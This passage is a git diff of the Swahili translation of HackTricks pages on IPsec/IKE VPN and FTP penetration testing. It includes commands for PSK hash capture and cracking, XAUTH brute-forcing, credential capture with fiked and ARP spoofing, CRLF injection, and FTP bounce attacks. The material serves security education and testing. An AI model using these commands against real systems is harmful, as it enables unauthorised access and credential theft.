Kwa dhahiri, lengo la kuvunja nguvu kitambulisho ni kupata **PSK** unapokuwa na kitambulisho halali. Kisha, na **kitambulisho** na **PSK** utalazimika kuvunja nguvu XAUTH (ikiwa imewezeshwa).
|
Kwa dhahiri, lengo la kuvunja nguvu kitambulisho ni kupata **PSK** unapokuwa na kitambulisho halali. Kisha, na **kitambulisho** na **PSK** utalazimika kuvunja nguvu XAUTH (ikiwa imewezeshwa).
|
||||||
|
|
||||||
Ikiwa umegundua ubadilishaji maalum, ongeza katika amri ya ikeforce. Na ikiwa umegundua ubadilishaji kadhaa, jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja itakapofanya kazi ipasavyo).
|
Ikiwa umegundua ubadilishaji maalum, ongeza katika amri ya ikeforce. Na ikiwa umegundua ubadilishaji kadhaa, jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja itakapofanya kazi ipasavyo).
|
||||||
|
@ -171,28 +179,28 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (111).png>)
|
![](<../.gitbook/assets/image (111).png>)
|
||||||
|
|
||||||
## Kukamata na kuvunja hash
|
## Kukamata na Kuvunja Hash
|
||||||
|
|
||||||
Mwishowe, Ikiwa umepata **ubadilishaji halali** na **jina la kikundi** na ikiwa **mode ya kushambulia inaruhusiwa**, basi unaweza kwa urahisi kabisa kukamata hash inayoweza kuvunjika:
|
Hatimaye, Ikiwa umepata **ubadilishaji halali** na **jina la kikundi** na ikiwa **mode ya kushambulia inaruhusiwa**, basi unaweza kwa urahisi kabisa kukamata hash inayoweza kuvunjwa:
|
||||||
```bash
|
```bash
|
||||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||||
```
|
```
|
||||||
Hash itahifadhiwa ndani ya _hash.txt_.
|
Hash itahifadhiwa ndani ya _hash.txt_.
|
||||||
|
|
||||||
Unaweza kutumia **psk-crack**, **john** (ukiitumia [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) na **hashcat** kwa kusudi la **kuvunja** hash:
|
Unaweza kutumia **psk-crack**, **john** (ukitumia [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) na **hashcat** kwa **kuvunja** hash:
|
||||||
```bash
|
```bash
|
||||||
psk-crack -d <Wordlist_path> psk.txt
|
psk-crack -d <Wordlist_path> psk.txt
|
||||||
```
|
```
|
||||||
## **XAuth**
|
## **XAuth**
|
||||||
|
|
||||||
**Aggressive mode IKE** iliyochanganywa na **Pre-Shared Key (PSK)** mara nyingi hutumiwa kwa madhumuni ya **uthibitishaji wa kikundi**. Njia hii inaboreshwa na **XAuth (Uthibitishaji Uliopanuliwa)**, ambao hutumika kuongeza safu ya ziada ya **uthibitishaji wa mtumiaji**. Uthibitishaji kama huo kawaida hutegemea huduma kama **Microsoft Active Directory**, **RADIUS**, au mifumo inayofanana.
|
**Aggressive mode IKE** iliyochanganywa na **Pre-Shared Key (PSK)** mara nyingi hutumiwa kwa madhumuni ya **uthibitishaji wa kikundi**. Mbinu hii inaongezewa na **XAuth (Uthibitishaji Mpana)**, ambayo inatumika kuongeza safu ya ziada ya **uthibitishaji wa mtumiaji**. Uthibitishaji kama huo kawaida hutegemea huduma kama **Microsoft Active Directory**, **RADIUS**, au mifumo inayofanana.
|
||||||
|
|
||||||
Kuongeza **IKEv2**, mabadiliko muhimu yanazingatiwa ambapo **EAP (Itifaki ya Uthibitishaji Inayoweza Kupanuliwa)** inatumika badala ya **XAuth** kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanasisitiza mabadiliko katika mazoea ya uthibitishaji ndani ya itifaki salama za mawasiliano.
|
Kuongeza **IKEv2**, mabadiliko muhimu yanaweza kuonekana ambapo **EAP (Itifaki ya Uthibitishaji Inayoweza Kupanuliwa)** inatumika badala ya **XAuth** kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanasisitiza mabadiliko katika mazoea ya uthibitishaji ndani ya itifaki za mawasiliano salama.
|
||||||
|
|
||||||
|
|
||||||
### MitM ya mtandao wa ndani kwa kukamata siri
|
### MitM ya mtandao wa ndani kwa kukamata siri za kuingia
|
||||||
|
|
||||||
Hivyo unaweza kukamata data ya kuingia kwa kutumia _fiked_ na kuona ikiwa kuna jina la mtumiaji la msingi (Unahitaji kuelekeza trafiki ya IKE kwa `fiked` kwa kunusa, ambayo inaweza kufanywa kwa msaada wa ARP spoofing, [maelezo zaidi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked itafanya kazi kama mwisho wa VPN na itakamata siri za XAuth:
|
Hivyo unaweza kukamata data ya kuingia kwa kutumia _fiked_ na kuona ikiwa kuna jina la mtumiaji la msingi (Unahitaji kuelekeza trafiki ya IKE kwa `fiked` kwa kunusa, ambayo inaweza kufanywa kwa msaada wa ARP spoofing, [maelezo zaidi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked itafanya kazi kama kituo cha mwisho cha VPN na itakamata siri za XAuth:
|
||||||
```bash
|
```bash
|
||||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||||
```
|
```
|
||||||
|
@ -200,19 +208,19 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||||
|
|
||||||
Kutumia **IPSec** jaribu kufanya shambulio la kati (MitM) na kuzuia trafiki yote kwenye bandari 500, ikiwa handaki la **IPSec** halitaweza kuanzishwa labda trafiki itatumwa wazi.
|
Kutumia **IPSec** jaribu kufanya shambulio la kati (MitM) na kuzuia trafiki yote kwenye bandari 500, ikiwa handaki la **IPSec** halitaweza kuanzishwa labda trafiki itatumwa wazi.
|
||||||
|
|
||||||
Kwa kuvunja nguvu **XAUTH** (unapojua jina la kikundi halali la **id** na **psk**), unaweza kutumia jina la mtumiaji au orodha ya majina ya watumiaji na orodha ya nywila:
|
Kwa kuvunja nguvu **XAUTH** (unapojua jina la kikundi halali la **id** na **psk**) unaweza kutumia jina la mtumiaji au orodha ya majina ya watumiaji na orodha ya nywila:
|
||||||
```bash
|
```bash
|
||||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||||
```
|
```
|
||||||
Hivi, ikeforce itajaribu kuunganisha kwa kutumia kila kombinisheni ya jina la mtumiaji: nenosiri.
|
Hivi, ikeforce itajaribu kuunganisha kwa kutumia kila kombinisheni ya jina la mtumiaji: nenosiri.
|
||||||
|
|
||||||
Ikiwa umepata moja au zaidi ya mabadiliko sahihi basi itumie kama ilivyokuwa katika hatua zilizopita.
|
Ikiwa umepata moja au zaidi ya mabadiliko sahihi basi zitumie kama ilivyokuwa hatua za awali.
|
||||||
|
|
||||||
## Uthibitisho kwa kutumia VPN ya IPSEC
|
## Uthibitishaji kwa kutumia VPN ya IPSEC
|
||||||
|
|
||||||
Katika Kali, **VPNC** hutumiwa kuanzisha vichimbuzi vya IPsec. **Mipangilio** lazima iwekwe katika saraka `/etc/vpnc/`. Unaweza kuanzisha mipangilio hii kwa kutumia amri _**vpnc**_.
|
Katika Kali, **VPNC** hutumiwa kuanzisha mizunguko ya IPsec. **Mipangilio** lazima iwekwe katika saraka `/etc/vpnc/`. Unaweza kuanzisha mipangilio hii kwa kutumia amri _**vpnc**_.
|
||||||
|
|
||||||
Amri na mipangilio ifuatayo inaelezea mchakato wa kuanzisha uhusiano wa VPN na VPNC:
|
Amri na mipangilio ifuatayo inaeleza mchakato wa kuweka uhusiano wa VPN kwa kutumia VPNC:
|
||||||
```bash
|
```bash
|
||||||
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
||||||
IPSec gateway [VPN_GATEWAY_IP]
|
IPSec gateway [VPN_GATEWAY_IP]
|
||||||
|
@ -226,19 +234,19 @@ root@system:~# vpnc samplevpn
|
||||||
VPNC started in background (pid: [PID])...
|
VPNC started in background (pid: [PID])...
|
||||||
root@system:~# ifconfig tun0
|
root@system:~# ifconfig tun0
|
||||||
```
|
```
|
||||||
Katika usanidi huu:
|
Katika hali hii:
|
||||||
|
|
||||||
- Badilisha `[VPN_GATEWAY_IP]` na anwani halisi ya IP ya lango la VPN.
|
- Badilisha `[VPN_GATEWAY_IP]` na anwani halisi ya IP ya mlango wa VPN.
|
||||||
- Badilisha `[VPN_CONNECTION_ID]` na kitambulisho cha uhusiano wa VPN.
|
- Badilisha `[VPN_CONNECTION_ID]` na kitambulisho cha uhusiano wa VPN.
|
||||||
- Badilisha `[VPN_GROUP_SECRET]` na siri ya kikundi cha VPN.
|
- Badilisha `[VPN_GROUP_SECRET]` na siri ya kikundi cha VPN.
|
||||||
- Badilisha `[VPN_USERNAME]` na `[VPN_PASSWORD]` na sifa za uthibitishaji wa VPN.
|
- Badilisha `[VPN_USERNAME]` na `[VPN_PASSWORD]` na sifa za uthibitishaji wa VPN.
|
||||||
- `[PID]` inamaanisha kitambulisho cha mchakato ambacho kitapewa wakati `vpnc` inapoanzisha.
|
- `[PID]` inaashiria kitambulisho cha mchakato ambacho kitapewa wakati `vpnc` inaanzisha.
|
||||||
|
|
||||||
Hakikisha thamani halisi na salama zinatumika kuchukua nafasi ya nafasi wakati wa kusanidi VPN.
|
Hakikisha thamani halisi na salama zinatumika kuchukua nafasi ya nafasi wakati wa kusanidi VPN.
|
||||||
|
|
||||||
## Vifaa vya Marejeleo
|
## Vifaa vya Marejeleo
|
||||||
|
|
||||||
* [Karatasi ya Kuvunja PSK](http://www.ernw.de/download/pskattack.pdf)
|
* [Karatasi ya kuvunja PSK](http://www.ernw.de/download/pskattack.pdf)
|
||||||
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
||||||
* [Kuchunguza Utekelezaji wa VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
* [Kuchunguza Utekelezaji wa VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
||||||
* Tathmini ya Usalama wa Mtandao ya Toleo la 3
|
* Tathmini ya Usalama wa Mtandao ya Toleo la 3
|
||||||
|
@ -247,16 +255,22 @@ Hakikisha thamani halisi na salama zinatumika kuchukua nafasi ya nafasi wakati w
|
||||||
|
|
||||||
* `port:500 IKE`
|
* `port:500 IKE`
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,18 +4,26 @@
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikitangazwa kwenye HackTricks**? au ungependa kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Taarifa Msingi
|
## Taarifa Msingi
|
||||||
|
|
||||||
**Itifaki ya Uhamishaji wa Faili (FTP)** hutumika kama itifaki ya kawaida kwa uhamishaji wa faili kwenye mtandao wa kompyuta kati ya seva na mteja.\
|
**Itifaki ya Uhamishaji wa Faili (FTP)** hutumika kama itifaki ya kawaida kwa uhamishaji wa faili kwenye mtandao wa kompyuta kati ya seva na mteja.\
|
||||||
Ni itifaki ya **maandishi wazi** inayotumia **tabia mpya ya mstari `0x0d 0x0a`** kwa hivyo mara nyingine unahitaji **kuunganisha kutumia `telnet`** au **`nc -C`**.
|
Ni itifaki ya **maandishi ya wazi** inayotumia **tabia mpya ya mstari `0x0d 0x0a`** kwa hivyo mara nyingine unahitaji **kuunganisha kutumia `telnet`** au **`nc -C`**.
|
||||||
|
|
||||||
**Bandari ya Chaguo:** 21
|
**Bandari ya Chaguo:** 21
|
||||||
```
|
```
|
||||||
|
@ -26,7 +34,7 @@ PORT STATE SERVICE
|
||||||
|
|
||||||
Katika **FTP ya Moja kwa Moja**, FTP **mteja** kwanza **ananzisha** uunganisho wa kudhibiti kutoka kwa bandari yake N hadi kwa bandari ya amri ya Seva ya FTP - bandari 21. Mteja kisha **anasikiliza** kwenye bandari **N+1** na kutuma bandari N+1 kwa Seva ya FTP. Seva ya FTP kisha **inaanzisha** uunganisho wa data, kutoka kwa bandari yake M kwenda kwa bandari ya N+1 ya Mteja wa FTP.
|
Katika **FTP ya Moja kwa Moja**, FTP **mteja** kwanza **ananzisha** uunganisho wa kudhibiti kutoka kwa bandari yake N hadi kwa bandari ya amri ya Seva ya FTP - bandari 21. Mteja kisha **anasikiliza** kwenye bandari **N+1** na kutuma bandari N+1 kwa Seva ya FTP. Seva ya FTP kisha **inaanzisha** uunganisho wa data, kutoka kwa bandari yake M kwenda kwa bandari ya N+1 ya Mteja wa FTP.
|
||||||
|
|
||||||
Lakini, ikiwa Mteja wa FTP ana firewall inayodhibiti uunganisho wa data unaokuja kutoka nje, basi FTP ya moja kwa moja inaweza kuwa tatizo. Na, suluhisho linalowezekana kwa hilo ni FTP ya Kupitisha.
|
Lakini, ikiwa Mteja wa FTP ana firewall iliyowekwa kudhibiti uunganisho wa data unaokuja kutoka nje, basi FTP ya moja kwa moja inaweza kuwa tatizo. Na, suluhisho linalowezekana kwa hilo ni FTP ya Kupitisha.
|
||||||
|
|
||||||
Katika **FTP ya Kupitisha**, mteja ananzisha uunganisho wa kudhibiti kutoka kwa bandari yake N hadi kwa bandari 21 ya Seva ya FTP. Baada ya hii, mteja anatoa **amri ya passv**. Seva kisha inatuma mteja nambari moja ya bandari yake M. Na **mteja** **anaanzisha** uunganisho wa data kutoka kwa bandari yake P kwenda kwa bandari ya M ya Seva ya FTP.
|
Katika **FTP ya Kupitisha**, mteja ananzisha uunganisho wa kudhibiti kutoka kwa bandari yake N hadi kwa bandari 21 ya Seva ya FTP. Baada ya hii, mteja anatoa **amri ya passv**. Seva kisha inatuma mteja nambari moja ya bandari yake M. Na **mteja** **anaanzisha** uunganisho wa data kutoka kwa bandari yake P kwenda kwa bandari ya M ya Seva ya FTP.
|
||||||
|
|
||||||
|
@ -36,14 +44,14 @@ Chanzo: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-att
|
||||||
|
|
||||||
Amri za **FTP** **`debug`** na **`trace`** zinaweza kutumika kuona **jinsi mawasiliano yanavyotokea**.
|
Amri za **FTP** **`debug`** na **`trace`** zinaweza kutumika kuona **jinsi mawasiliano yanavyotokea**.
|
||||||
|
|
||||||
## Uchambuzi
|
## Urambazaji
|
||||||
|
|
||||||
### Kukamata Bango
|
### Kukamata Bango
|
||||||
```bash
|
```bash
|
||||||
nc -vn <IP> 21
|
nc -vn <IP> 21
|
||||||
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
||||||
```
|
```
|
||||||
### Unganisha kwa FTP ukitumia starttls
|
### Unganisha na FTP ukitumia starttls
|
||||||
```
|
```
|
||||||
lftp
|
lftp
|
||||||
lftp :~> set ftp:ssl-force true
|
lftp :~> set ftp:ssl-force true
|
||||||
|
@ -53,7 +61,7 @@ lftp 10.10.10.208:~> login
|
||||||
Usage: login <user|URL> [<pass>]
|
Usage: login <user|URL> [<pass>]
|
||||||
lftp 10.10.10.208:~> login username Password
|
lftp 10.10.10.208:~> login username Password
|
||||||
```
|
```
|
||||||
### Uchambuzi usio halali
|
### Uchambuzi wa Kibali
|
||||||
|
|
||||||
Kwa **nmap**
|
Kwa **nmap**
|
||||||
```bash
|
```bash
|
||||||
|
@ -115,7 +123,7 @@ Hapa unaweza kupata orodha nzuri ya siri za msingi za ftp: [https://github.com/d
|
||||||
|
|
||||||
### Kiotomatiki
|
### Kiotomatiki
|
||||||
|
|
||||||
Uchunguzi wa Anon login na bounce FTP hufanywa kiotomatiki na nmap kwa chaguo la **-sC** au:
|
Anon login na bounce FTP checks hufanywa kiotomatiki na nmap kwa chaguo la **-sC** au:
|
||||||
```bash
|
```bash
|
||||||
nmap --script ftp-* -p 21 <ip>
|
nmap --script ftp-* -p 21 <ip>
|
||||||
```
|
```
|
||||||
|
@ -125,7 +133,7 @@ Unaweza kuunganisha kwenye seva ya FTP ukitumia kivinjari (kama Firefox) ukitumi
|
||||||
```bash
|
```bash
|
||||||
ftp://anonymous:anonymous@10.10.10.98
|
ftp://anonymous:anonymous@10.10.10.98
|
||||||
```
|
```
|
||||||
Tafadhali kumbuka kwamba ikiwa **programu-jalizi ya wavuti** inatuma data inayodhibitiwa na mtumiaji **moja kwa moja kwa seva ya FTP** unaweza kutuma URL encode mara mbili `%0d%0a` (katika URL encode mara mbili hii ni `%250d%250a`) na kufanya **seva ya FTP ifanye vitendo vya kiholela**. Moja ya vitendo vya kiholela vinavyowezekana ni kupakua maudhui kutoka kwa seva inayodhibitiwa na mtumiaji, kufanya uchunguzi wa bandari au jaribu kuwasiliana na huduma zingine zinazotegemea maandishi wazi (kama vile http).
|
Tafadhali kumbuka kwamba ikiwa **programu-jalizi ya wavuti** inatuma data inayodhibitiwa na mtumiaji **moja kwa moja kwa seva ya FTP** unaweza kutuma URL encode mara mbili `%0d%0a` (katika URL encode mara mbili hii ni `%250d%250a`) na kufanya **seva ya FTP ifanye vitendo vya kiholela**. Moja ya vitendo vya kiholela vinavyowezekana ni kupakua yaliyomo kutoka kwa seva inayodhibitiwa na mtumiaji, kufanya uchunguzi wa bandari au jaribu kuwasiliana na huduma zingine zinazotegemea maandishi wazi (kama vile http).
|
||||||
|
|
||||||
## Pakua faili zote kutoka kwa FTP
|
## Pakua faili zote kutoka kwa FTP
|
||||||
```bash
|
```bash
|
||||||
|
@ -140,18 +148,18 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||||
|
|
||||||
* **`USER jina_la_mtumiaji`**
|
* **`USER jina_la_mtumiaji`**
|
||||||
* **`PASS nenosiri`**
|
* **`PASS nenosiri`**
|
||||||
* **`HELP`** Server inaonyesha ni amri zipi zinazoungwa mkono
|
* **`HELP`** Seva inaonyesha ni amri zipi zinazoungwa mkono
|
||||||
* \*\*`PORT 127,0,0,1,0,80`\*\*Hii itaonyesha seva ya FTP kuweka uhusiano na IP 127.0.0.1 kwenye bandari 80 (_unahitaji kuweka herufi ya 5 kuwa "0" na ya 6 kama bandari kwa decimal au tumia ya 5 na 6 kuonyesha bandari kwa hex_).
|
* \*\*`PORT 127,0,0,1,0,80`\*\*Hii itaonyesha seva ya FTP kuanzisha uhusiano na IP 127.0.0.1 kwenye bandari 80 (_unahitaji kuweka herufi ya 5 kama "0" na ya 6 kama bandari kwa decimal au tumia ya 5 na 6 kueleza bandari kwa hex_).
|
||||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Hii itaonyesha seva ya FTP kuweka uhusiano wa TCP (_unaoonyeshwa na "2"_) na IP 127.0.0.1 kwenye bandari 80. Amri hii **inaunga mkono IPv6**.
|
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Hii itaonyesha seva ya FTP kuanzisha uhusiano wa TCP (_unaoonyeshwa na "2"_) na IP 127.0.0.1 kwenye bandari 80. Amri hii **inaunga mkono IPv6**.
|
||||||
* **`LIST`** Hii itatuma orodha ya faili kwenye folda ya sasa
|
* **`LIST`** Hii itatuma orodha ya faili kwenye folda ya sasa
|
||||||
* **`LIST -R`** Orodhesha kwa njia ya kurudia (ikiwa inaruhusiwa na seva)
|
* **`LIST -R`** Orodhesha kwa njia ya kurudia (ikiwa inaruhusiwa na seva)
|
||||||
* **`APPE /njia/kitu.txt`** Hii itaonyesha FTP kuweka data iliyopokelewa kutoka kwa uhusiano wa **pasifiki** au kutoka kwa uhusiano wa **PORT/EPRT** kwenye faili. Ikiwa jina la faili lipo, itaongeza data.
|
* **`APPE /njia/kitu.txt`** Hii itaonyesha FTP kuhifadhi data iliyopokelewa kutoka kwa uhusiano wa **pasifiki** au kutoka kwa uhusiano wa **PORT/EPRT** kwenye faili. Ikiwa jina la faili lipo, itaongeza data.
|
||||||
* **`STOR /njia/kitu.txt`** Kama `APPE` lakini itabadilisha faili zilizopo
|
* **`STOR /njia/kitu.txt`** Kama `APPE` lakini itabadilisha faili zilizopo
|
||||||
* **`STOU /njia/kitu.txt`** Kama `APPE`, lakini ikiwepo haitafanya chochote.
|
* **`STOU /njia/kitu.txt`** Kama `APPE`, lakini ikiwepo haitafanya chochote.
|
||||||
* **`RETR /njia/ya/faili`** Uhusiano wa pasifiki au wa port lazima uanzishwe. Kisha, seva ya FTP itatuma faili iliyotajwa kupitia uhusiano huo
|
* **`RETR /njia/ya/faili`** Uhusiano wa pasifiki au wa port lazima uanzishwe. Kisha, seva ya FTP itatuma faili iliyotajwa kupitia uhusiano huo
|
||||||
* **`REST 6`** Hii itaonyesha seva kwamba wakati inatuma kitu kwa kutumia `RETR` inapaswa kuanza kwenye byte ya 6.
|
* **`REST 6`** Hii itaonyesha seva kwamba wakati inatuma kitu kutumia `RETR` ianze kwenye byte ya 6.
|
||||||
* **`TYPE i`** Weka uhamisho kuwa wa binary
|
* **`TYPE i`** Weka uhamisho kuwa wa binary
|
||||||
* **`PASV`** Hii itafungua uhusiano wa pasifiki na itaonyesha mtumiaji mahali anaweza kuunganisha
|
* **`PASV`** Hii itafungua uhusiano wa pasifiki na itaonyesha mtumiaji anaweza kuunganisha wapi
|
||||||
* **`PUT /tmp/kitu.txt`** Pakia faili iliyotajwa kwenye FTP
|
* **`PUT /tmp/kitu.txt`** Pakia faili iliyotajwa kwenye FTP
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (227).png>)
|
![](<../../.gitbook/assets/image (227).png>)
|
||||||
|
@ -162,15 +170,15 @@ Baadhi ya seva za FTP huruhusu amri ya PORT. Amri hii inaweza kutumika kuonyesha
|
||||||
|
|
||||||
[**Jifunze hapa jinsi ya kutumia vibaya seva ya FTP kuscan bandari.**](ftp-bounce-attack.md)
|
[**Jifunze hapa jinsi ya kutumia vibaya seva ya FTP kuscan bandari.**](ftp-bounce-attack.md)
|
||||||
|
|
||||||
Unaweza pia kutumia tabia hii kufanya seva ya FTP iingiliane na itifaki nyingine. Unaweza **kupakia faili inayohusisha ombi la HTTP** na kufanya seva ya FTP inayoweza kudhurika **ikutume kwa seva ya HTTP isiyojulikana** (_labda kuongeza mtumiaji mpya wa msimamizi?_) au hata kupakia ombi la FTP na kufanya seva ya FTP inayoweza kudhurika ipakue faili kwa seva ya FTP tofauti.\
|
Unaweza pia kutumia tabia hii kutumia seva ya FTP kuingiliana na itifaki nyingine. Unaweza **kupakia faili inayohusisha ombi la HTTP** na kufanya seva ya FTP **iliyo hatarini itume kwa seva ya HTTP isiyojulikana** (_labda kuongeza mtumiaji mpya wa msimamizi?_) au hata kupakia ombi la FTP na kufanya seva ya FTP iliyo hatarini ipakue faili kwa seva ya FTP tofauti.\
|
||||||
Teoria ni rahisi:
|
Teoria ni rahisi:
|
||||||
|
|
||||||
1. **Pakia ombi (ndani ya faili ya maandishi) kwenye seva inayoweza kudhurika.** Kumbuka kwamba ikiwa unataka kuzungumza na seva nyingine ya HTTP au FTP unahitaji kubadilisha mistari na `0x0d 0x0a`
|
1. **Pakia ombi (ndani ya faili ya maandishi) kwenye seva iliyo hatarini.** Kumbuka kwamba ikiwa unataka kuzungumza na seva nyingine ya HTTP au FTP unahitaji kubadilisha mistari na `0x0d 0x0a`
|
||||||
2. **Tumia `REST X` kuepuka kutuma herufi ambazo huzitaki kutuma** (labda kupakia ombi ndani ya faili unahitaji kuweka kichwa cha picha mwanzoni)
|
